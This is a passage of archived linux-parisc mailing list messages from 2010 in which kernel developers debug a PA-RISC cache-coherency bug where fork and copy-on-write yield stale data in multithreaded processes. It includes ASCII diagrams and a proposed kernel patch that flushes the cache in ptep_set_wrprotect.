impact for fork.  But I don't find any good solution other than this
yet.  Well, I will need to write to linux-arch.

Let me explain our case.  As I couldn't catch the scene, but the
result, it includes imagination and interpretation of mine.  Correct
me if I'm wrong.

(1) We have process A with threads.  One of threads calls fork(2) (in
    fact, it's clone(2) without CLONE_VM) when other threads are still
    live.  Let's call this thread A-1.

(2) As a result of clone(2), we have process B.

(3) The memory of process A are copied to process B by dup_mmap
    (fork.c) by A-1 with the context of process A.  There,
    flush_cache_dup_mm is called.

    In case of single thread, flush_cache_dup_mm is enough.  All data
    in cache go to memory.  But we have other threads, in this case.

(4) From dup_mmap, copy_page_range (memory.c) is called.

    Note that there is a possibility of sleep in copy_page_range.
    Allocation of page in pud_alloc, pmd_alloc, or pte_alloc_map_lock
    may need the A-1 thread to be scheduled off (and wakes up the
    swapper or other processes).

(5) Suppose the A-1 thread sleeps in copy_page_range, and another
    thread of A-2 of process A is waken up, and touches memory.  Then
    we have data only in cache, memory has stale data.

(6) A-2 thread sleeps, and A-1 thread is waken up to continue
    copy_page_range -> copy_*_range -> copy_one_pte.

(7) From copy_one_pte, A-1 thread call ptep_set_wrprotect as
    this is COW mapping. (*)

(8) A-1 thread sleeps again in copy_page_range and process B is waken up.

(9) Process B does read-access on memory, which gets *NEW* data in
    cache (if process space identifier color is same).
    Process B does write-access on memory which causes memory fault,
    as it's COW memory.

    Note: Process B sees *NEW* data because it's VIPT-WB cache.
    It shares same memory in this situation.

(10) New page is allocated and memory contents are copied, with
     stale data.

     I assume that kernel access to the memory is by different
     cache line and does not see cache data of A-2.

(11) After falut, process B gets *OLD* data on memory.


(*) When we make COW memory mapping between process A and process B,
    we assume memory were up-to-date.  As this assumption is
    incorrect, I think that we need to flush cache data to memory
    here.


If you have more interest or like ASCII art, please keep reading.

In our Gauche case, we saw this problem on the linked list handling of
pthread implementation (NPTL).  We have two linked list heads, <used>
and <cache>.

Initially, situation of process A is like this:

      +-------------------------------------+
      |                                     |
used  v     ELEM                            |
+-----+     +-----+     +-----+     +-----+ |
|   ------->|   ------->|   ------->|   ----+
+-----+     +-----+     +-----+     +-----+
            |     |     |     |     |     |
            +-----+     +-----+     +-----+

      +-------------+
      |             |
cache v             |
+-----+     +-----+ |
|   ------->|   ----+
+-----+     +-----+                       This is in memory
            |     |
            +-----+

A-2 thread removes ELEM during fork.
This is Process A's final situation, and what Process B sees initially.

      +-------------------------------------+
      |                                     |
used  v                                     |
+-----+                 +-----+     +-----+ |
|   ------------------->|   ------->|   ----+
+-----+                 +-----+     +-----+
                        |     |     |     |
                        +-----+     +-----+

      +---------------------------+
      |     ELEM                  |
      |     +-----+               |
      | +-->|   -----+            |
      | |   +-----+  |            |
      | |   |     |  |            |
cache v |   +-----+  |            |        This is in cache
+-----+ |            |   +-----+  |
|   ----+            +-->|   -----+
+-----+                  +-----+
                         |     |
                         +-----+


Process B scans through linked list with <cache> and update data
in linked list.  After process B touches ELEM, it sees
*OLD* data of ELEM.


      +-------------------------------------+
      |                                     |
used  v                                     |
+-----+                 +-----+     +-----+ |
|   -----------------+->|   ------->|   ----+
+-----+              |  +-----+     +-----+
                     |  |     |     |     |
            ELEM     |  +-----+     +-----+
            +-----+  |
        +-->|   -----+ Wow!
        |   +-----+
        |   |*****|
cache   |   +-----+
+-----+ |                +-----+
|   ----+                |   ----> ... to cache
+-----+                  +-----+
                         |     |
                         +-----+

Process B follows the link and goes different places
and touches wrongly.

      +-------------------------------------+
      |                                     |
used  v                                     |
+-----+                 +-----+     +-----+ |
|   -----------------+->|   ------->|   ----+
+-----+              |  +-----+     +-----+
                     |  |*****|     |     |
            ELEM     |  +-----+     +-----+
            +-----+  |
        +-->|   -----+
        |   +-----+
        |   |*****|
cache   |   +-----+
+-----+ |                +-----+
|   ----+                |   ----> ... to cache
+-----+                  +-----+
                         |     |
                         +-----+

      +-------------------------------------+
      |                                     |
used  v                                     |
+-----+                 +-----+     +-----+ |
|   -----------------+->|   ------->|   ----+
+-----+              |  +-----+     +-----+
                     |  |*****|     |*****|
            ELEM     |  +-----+     +-----+
            +-----+  |
        +-->|   -----+
        |   +-----+
        |   |*****|
cache   |   +-----+
+-----+ |                +-----+
|   ----+                |   ----> ... to cache
+-----+                  +-----+
                         |     |
                         +-----+

Process B scans and goes linked list head of <used> as if it were
element of linked list.  Process B couldn't stop because its
condition is comparison with the head <cache>.  Process B touches
memory, and then it sees *OLD* data of <used>.  Besides,
<cache> is on the same page with <used>, it's contents from
viewpoint of process B is also changed to *OLD*.

      +-------------------------------------+
      |                                     |
used  v                                     |
+-----+ Wow!            +-----+     +-----+ |
|   -----+           +->|   ------->|   ----+
+-----+  |           |  +-----+     +-----+
 *****   |           |  |*****|     |*****|
         |  ELEM     |  +-----+     +-----+
         |  +-----+  |
         +->|   -----+
            +-----+
            |*****|
cache       +-----+
+-----+ Wow!             +-----+
|   -------------------->|   ----> ... to cache
+-----+                  +-----+
                         |     |
                         +-----+

Process B continues scanning this linked list forever.
It enters this loop from <cache>, but <cache>
does not points to ELEM now.
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Thu, 01 Apr 2010 23:30:25 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1270179025.18981.19.camel@mulgrave.site>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>
	 <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>
	 <4BB5594C.8050505@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270179036 6024 80.91.229.12 (2 Apr 2010 03:30:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 03:30:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 05:30:32 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxXaZ-0004yT-FU
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 05:30:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752918Ab0DBDab (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 23:30:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56533 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752861Ab0DBDaa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 23:30:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E04B18EE0FD;
	Thu,  1 Apr 2010 20:30:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VBv4etMogh14; Thu,  1 Apr 2010 20:30:29 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E56E58EE0DC;
	Thu,  1 Apr 2010 20:30:28 -0700 (PDT)
In-Reply-To: <4BB5594C.8050505@fsij.org>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2752>

On Fri, 2010-04-02 at 11:41 +0900, NIIBE Yutaka wrote:
> (9) Process B does read-access on memory, which gets *NEW* data in
>     cache (if process space identifier color is same).
>     Process B does write-access on memory which causes memory fault,
>     as it's COW memory.
> 
>     Note: Process B sees *NEW* data because it's VIPT-WB cache.
>     It shares same memory in this situation.

So I think the bug here is that you're confusing aliasing with SMP cache
coherence.  In an alias situation, the same physical line is mapped to
multiple lines in a processor's cache (at different virtual addresses),
which means you can get a different answer depending on which alias you
read.

In COW breaking, the page table entry is copied, so A and B no longer
have page table entries at the same physical location.  If the COW is
intact, A and B have the same physical page, but it's also accessed by
the same virtual address, hence no aliasing.

In an SMP incoherent system, A and B could get different results (if on
different CPUs) because the write protect is in the cache of A but not
B.  However, PA is SMP coherent, so the act of B reading a line which is
dirty in A's cache causes a flush before the read completes via the
cache chequerboard logic and B ends up reading the same value A would
have read.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 02 Apr 2010 12:48:11 +0900
Organization: Free Software Initiative of Japan
Lines: 29
Approved: news@gmane.org
Message-ID: <4BB568FB.1090908@fsij.org>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>	 <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>	 <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270180113 7970 80.91.229.12 (2 Apr 2010 03:48:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 03:48:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 05:48:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxXrs-0001q2-7N
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 05:48:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752958Ab0DBDsV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Apr 2010 23:48:21 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:55150 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752918Ab0DBDsU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Apr 2010 23:48:20 -0400
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1NxXvG-0005r5-1Y; Fri, 02 Apr 2010 12:51:54 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <1270179025.18981.19.camel@mulgrave.site>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2753>

Thanks for your quick reply.

James Bottomley wrote:
> In COW breaking, the page table entry is copied, so A and B no longer
> have page table entries at the same physical location.  If the COW is
> intact, A and B have the same physical page, but it's also accessed by
> the same virtual address, hence no aliasing.

Let me explain more.

In the scenario, I assume:

	No aliasing between A and B.
	We have aliasing between kernel access and user access.

Before COW breaking A and B share same data (with no aliasing same
space identifier color), and B sees data in cache, while memory has
stale data.

At COW breaking, kernel copies the memory, it doesn't see new data
in cache because of aliasing.

Isn't it possible?
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 02 Apr 2010 17:05:43 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <4BB5A557.2000405@fsij.org>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>		<4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>		<4BB5594C.8050505@fsij.org>	<1270179025.18981.19.camel@mulgrave.site> <4BB568FB.1090908@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270195562 10053 80.91.229.12 (2 Apr 2010 08:06:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 08:06:02 +0000 (UTC)
Cc: pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 10:05:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nxbt6-0003ow-Kp
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 10:05:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757695Ab0DBIFz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Apr 2010 04:05:55 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:44691 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756568Ab0DBIFx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Apr 2010 04:05:53 -0400
Original-Received: from usr011.bb049-01.ude.im.wakwak.ne.jp ([219.121.106.13] helo=[192.168.1.8])
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1Nxbwa-0007ep-4Q; Fri, 02 Apr 2010 17:09:32 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20090706)
In-Reply-To: <4BB568FB.1090908@fsij.org>
X-SA-Exim-Connect-IP: 219.121.106.13
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.2 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2754>

NIIBE Yutaka wrote:
> To have same semantics as other archs, I think that VIPT-WB cache
> machine should have cache flush at ptep_set_wrprotect, so that memory
> of the page has up-to-date data.  Yes, it will be huge performance
> impact for fork.  But I don't find any good solution other than this
> yet.

I think we could do something like (only for VIPT-WB cache machine):

-	static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned 
long address, pte_t *ptep)

+	static inline void ptep_set_wrprotect(struct vm_area_struct *vma, 
struct mm_struct *mm, unsigned long addr, pte_t *ptep)
	{
		pte_t old_pte = *ptep;
+		if (atomic_read(&mm->mm_users) > 1)
+			flush_cache_page(vma, addr, pte_pfn(old_pte));
		set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
	}

Here, we can add condition for the call of flush_cache_page
to avoid big performance impact for non threads case.
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 02 Apr 2010 08:22:07 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <1270210927.2899.27.camel@mulgrave.site>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>
	 <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>
	 <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site>
	 <4BB568FB.1090908@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270210938 22428 80.91.229.12 (2 Apr 2010 12:22:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 12:22:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 14:22:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nxft6-0001vB-Nb
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 14:22:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752294Ab0DBMWL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Apr 2010 08:22:11 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48776 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751147Ab0DBMWK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Apr 2010 08:22:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D7EE38EE0FD;
	Fri,  2 Apr 2010 05:22:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uW9xlh5O8uEl; Fri,  2 Apr 2010 05:22:09 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 292D98EE0DC;
	Fri,  2 Apr 2010 05:22:09 -0700 (PDT)
In-Reply-To: <4BB568FB.1090908@fsij.org>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2755>

On Fri, 2010-04-02 at 12:48 +0900, NIIBE Yutaka wrote:
> Thanks for your quick reply.
> 
> James Bottomley wrote:
> > In COW breaking, the page table entry is copied, so A and B no longer
> > have page table entries at the same physical location.  If the COW is
> > intact, A and B have the same physical page, but it's also accessed by
> > the same virtual address, hence no aliasing.
> 
> Let me explain more.
> 
> In the scenario, I assume:
> 
> 	No aliasing between A and B.
> 	We have aliasing between kernel access and user access.
> 
> Before COW breaking A and B share same data (with no aliasing same
> space identifier color), and B sees data in cache, while memory has
> stale data.
> 
> At COW breaking, kernel copies the memory, it doesn't see new data
> in cache because of aliasing.
> 
> Isn't it possible?

So your theory is that the data the kernel sees doing the page copy can
be stale because of dirty cache lines in userspace (which is certainly
possible in the ordinary way)?  By design that shouldn't happen: the
idea behind COW breaking is that before it breaks, the page is read
only ... this means that processes can have clean cache copies of it,
but never dirty cache copies (because writes are forbidden).  As soon as
one or other process tries to write to the page, it gets a memory
protection trap long before the data it's trying to write goes into the
cache.  By the time the write is allowed to complete (and the cache
becomes dirty), the process will have the new copy of the page which
belongs exclusively to it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 2 Apr 2010 15:35:14 -0400
Organization: nrc.ca
Lines: 84
Approved: news@gmane.org
Message-ID: <20100402193514.GA9860@hiauly1.hia.nrc.ca>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de> <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org> <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site> <4BB568FB.1090908@fsij.org> <4BB5A557.2000405@fsij.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270236924 11925 80.91.229.12 (2 Apr 2010 19:35:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 2 Apr 2010 19:35:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 02 21:35:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NxmeF-0003Hd-7F
	for glpp-linux-parisc@lo.gmane.org; Fri, 02 Apr 2010 21:35:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754047Ab0DBTfS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Apr 2010 15:35:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2777 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753473Ab0DBTfR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Apr 2010 15:35:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 781AF4E77; Fri,  2 Apr 2010 15:35:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BB5A557.2000405@fsij.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2756
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2756>

On Fri, 02 Apr 2010, NIIBE Yutaka wrote:

> NIIBE Yutaka wrote:
>> To have same semantics as other archs, I think that VIPT-WB cache
>> machine should have cache flush at ptep_set_wrprotect, so that memory
>> of the page has up-to-date data.  Yes, it will be huge performance
>> impact for fork.  But I don't find any good solution other than this
>> yet.
>
> I think we could do something like (only for VIPT-WB cache machine):
>
> -	static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long 
> address, pte_t *ptep)
>
> +	static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct 
> mm_struct *mm, unsigned long addr, pte_t *ptep)
> 	{
> 		pte_t old_pte = *ptep;
> +		if (atomic_read(&mm->mm_users) > 1)
> +			flush_cache_page(vma, addr, pte_pfn(old_pte));
> 		set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
> 	}

I tested the hack below on two machines currently running 2.6.33.2
UP kernels.  The change seems to fix Debian #561203 (minifail bug)!
Thus, I definitely think you are on the right track.  I'll continue
to test.

I suspect the same issue is present for SMP kernels.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..a5d730f 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -456,7 +457,7 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 #ifdef CONFIG_SMP
 	unsigned long new, old;
@@ -467,6 +468,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
 #else
 	pte_t old_pte = *ptep;
+	if (atomic_read(&mm->mm_users) > 1)
+		flush_cache_page(vma, addr, pte_pfn(old_pte));
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 #endif
 }
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH 1/4] panic: Allow warnings to set different taint flags
Date: Sat, 03 Apr 2010 19:34:56 +0100
Lines: 317
Approved: news@gmane.org
Message-ID: <1270319696.12516.321.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1270319759 1026 80.91.229.12 (3 Apr 2010 18:35:59 GMT)
